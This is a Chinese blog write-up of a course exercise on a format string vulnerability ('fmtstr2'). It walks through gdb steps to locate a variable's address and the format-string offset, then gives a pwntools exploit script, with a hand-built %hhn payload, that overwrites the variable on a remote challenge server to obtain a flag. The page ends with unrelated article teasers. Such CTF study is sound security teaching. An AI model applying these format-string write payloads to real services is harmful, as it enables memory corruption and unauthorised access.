软件安全-课后练习-格式化字符串-fmtstr2-随笔

news2024/11/18 14:44:48

一、准备工作

题目-百度网盘

1.

在这里插入图片描述

2.代码审计

只要输入不是yes或者no,就会调用到存在格式化字符串漏洞的printf函数
在这里插入图片描述
如果authenticated 的值为1195526213(十六进制:0x47424845),就可以得到flag。
在这里插入图片描述

二、思路:

通过格式化字符串覆盖存储authenticated变量的地址对应的内容为1195526213(十六进制:0x47424845)

三、找到存储authenticated变量值的地址

gdb:

b read_flag
r
# 接下来要输入内容,可随便输入

关键的代码在划线的两行,eax+0x48的值即为存储authenticated变量值的地址
在这里插入图片描述
gdb

ni
ni
ni
ni
ni
ni
ni
ni
p $eax + 0x48

得到存储authenticated变量值的地址:
在这里插入图片描述

四、获得格式化字符串的offset

不理解的话可以看这两篇:
最基础的格式化字符串的原理
通过一道例题

1.让程序执行到call printf

gdb:

b printf
r
# 接下来要输入内容,可随便输入

在这里插入图片描述
返回地址如划线处
gdb:

disas  0x8049560

在这里插入图片描述

d
 b *0x804955b
 r
 # 接下来输入内容,可输入一些比较有特征的数字,这里以AAAABBBBCCCCDDDD为例
 stack 20

2.确定offset

在这里插入图片描述
从第一处划线位置为1开始往下数,第二处划线为11,因此offset为11

五、构造payload

from pwn import *
# context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
    io = remote("8.134.59.72", 38728)
else:
    io = process("./fmtstr2")
authenticated_addr = 0x0804c048
authenticated_value = 0x47424845
offset = 11
# payload = b'%66c%22$hhn%3c%23$hhn%2c%24$hhn%1c%25$hhnaaaJ\xc0\x04\x08H\xc0\x04\x08K\xc0\x04\x08I\xc0\x04\x08'
payload=fmtstr_payload(offset,{authenticated_addr:authenticated_value})
print(payload)
io.sendline(payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/541837.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

10. Redis哨兵(sentinel)

10. Redis哨兵sentinel 是什么?能干嘛怎么玩(实战演示:)Redis Sentinel架构,前提说明案例步骤,不服就干重点参数项说明其他 本次案例哨兵sentinel文件通用配置sentinel26379.confsentinel26380.confsentin…

Java并发常见面试题

Java并发常见面试题总结 1、什么是线程和进程? 何为进程? 进程是程序的一次执行过程,是系统运行程序的基本单位,因此进程是动态的。系统运行程序,是一个进程从创建、运行到消亡的过程。 在Java中,当我们…

Java 的八大基本类型及其包装类型(超级详细)

Java 中有八种内置的基本数据类型,他们分别是 byte、short、int、long、float、double、char 和 boolean,其中,byte、short、int 和 long 都是用来表示整数,float 和 double 是用来表示浮点数的,那它们之间有什么区别和…

【C++】哈希/散列详细解析

前言:上篇文章介绍了unordered_set和unordered_map序列关联式容器,它们之所以效率比较高,是因为其底层使用了哈希结构。,所以这篇文章我们就来详细讲解一下哈希表。有关unordered序列关联式容器的知识,请移步至这篇文章…

单片机--USART

目录 【2】USART 【3】串口通信协议 【4】相关寄存器 串口控制寄存器 波特率寄存器 中断和状态寄存器 ​编辑 数据发送寄存器 数据接收寄存器 【5】 USART功能框图 【6】串口发送实验 实验要求 1.观察实物 2.分析原理图 3.STM32CubeMX配置 7、不定长接收 8、重定向 【1】…

2022 CCPC-final 总结

赛前 去年 CCPC-final 拿了银牌第二。赛后,我选择退役,另一位队友 George_Plover 选择继续。 今年他队友 Kieray 去组女队了,于是邀请我替补参赛。 赛前一个月,约定好每周末组队训一场(在 cf 和 qoj 上&#xff0…

Spring Boot集成Swagger2

文章目录 1.什么是Swagger22.SpringBoot集成Swagger23.Swagger2配置管理(1)对Swagger2信息进行更改(2)swagger配置扫描接口(3)配置api文档分组(分组无非就是多个Docket)(4)实体类的配置 面试题:如果我们希望Swagger在某一个环境中使用&#x…

自学黑客(网络安全),看完这篇,再去追你的黑客梦!

今天专题是替一些想入门网络安全,但还迷茫不知所措的同学解一解惑。想30天零基础入门网络安全,这些你一定要搞清楚。 一、学习网络安全容易造成的误区 1、把编程当作目的,忽略了它的工具职能 千万不要抱着“以编程为目的,再开始…

C++(2):变量和基本类型

基本内置类型 C定义了一套包括算术类型(arithmetic type)和空类型(void)在内的基本数据类型。其中算术类型包含了字符、整型数、布尔值和浮点数。空类型不对应具体的值。 算数类型 算数类型分为两类:整型&#xff0…

Cesium教程(二):Cesium默认控件详解

Cesium初始界面在默认情况下,附带了一些有用的小控件,如下图所示,可以执行一些基本的功能。 1、①Geocoder Geocoder是一种定位搜索工具,它可以定位到查询位置。默认使用微软的Bing地图,若更换其他底图可能出现查找不到…

pnpm命令介绍

一、安装pnpm npm install -g pnpm 二、设置镜像源 pnpm config set registry https://registry.npm.taobao.org/ # 检查 pnpm config get registry 三、常用命令 # 查看ts-node的所有版本 pnpm view ts-node versions # 等价与npm i nodemon -g pnpm add nodemon -g # npm i p…

《深入理解Java虚拟机》 JAVA 字节码指令 基础

1.操作数栈 解释时,JVM会为方法分配一个栈帧,而栈帧又由 局部变量表,操作数帧,方法引用,动态链接 组成 方法中的每条指令执行时,要求该指令的操作数已经压入栈中;执行指令时会将操作数从栈中弹…

美团面试,被拷打了一小时....

刚从美团走出来,被拷打了一小时…越想越觉得可惜,回想面试经过,好好总结了几个点,发现面试没过的主要原因是在几个关键的问题没有给到面试官想要的答案。从而失去了这次宝贵的机会。 根据你的工作经历,说说你对质量保证…

python基础语法(print、数据类型、变量、注释、输入、条件语句)

一、初识编码(密码本) 计算机中所有的数据本质上都是用0和1的组合来存储的。编码就相当于密码本,在计算机中有多个密码本:utf-8编码、gbk编码等 注意事项:在计算机中若以某个编码形式进行保存文件,以后也…

ERP系统数据丢失的潜在经济损失

随着ERP系统的普及和涉及的范围越来越广,基本覆盖所有行业,ERP系统的数据安全也越来越被重视,关系到企业生命的机密信息都被存储在ERP系统中。 因此,ERP系统里存储的数据一旦泄露和丢失是一件非常可怕的事件。 那么,…

通俗易懂的教你如何使用Java实现快速排序

文章目录 快速排序🔒题目💡分析🔑题解 快速排序 🔒题目 题目链接:785.快速排序-Acwing题库 💡分析 基本思想:分治主要步骤 Step1:确定主元。从要划分的数组中选取一个元素作为主元…

python3+pytest+requests+allure+yaml测试框架搭建

目录 设计框架的原则 1.框架整体结构 2.框架各个模块说明 3.示例 3.1 先写一个测试用例 3.2 对上面的用例进行分层封装(可根据业务复杂度分两层或者三层,此处演示分三层) 3.3生成allure测试报告并查看 设计框架的原则 封装基类方法 对…

第十八章 使用LNMP架构部署动态网站环境

文章目录 第十八章 使用LNMP架构部署动态网站环境一、源码包程序1、源码包的优势2、基本步骤(1)、下载及解压源码包文件(2)、编译源码包代码(3)、生成二进制安装程序(4)、运行二进制…

VS2022调试Win-flex bison生成的C语言程序

Win-flex bison是flex和bison在Windows平台的一个移植版本,它支持flex(快速词法分析器)和bison(GNU解析器生成器)。 Win-flex bison的下载及安装可参看“Windows中使用Lex(Win flex-bison)”&a…

CIBF2023深圳电池展圆满结束!昂视期待与您下次相会

5月18日,CIBF2023深圳电池展圆满结束,展会为期三天,各位参展商展示了最新技术与产品,并在展位上开展花式互动,现场气氛火热。 作为电池行业的权威展会,CIBF2023深圳电池展为国内外用户、采购商、经销商提供…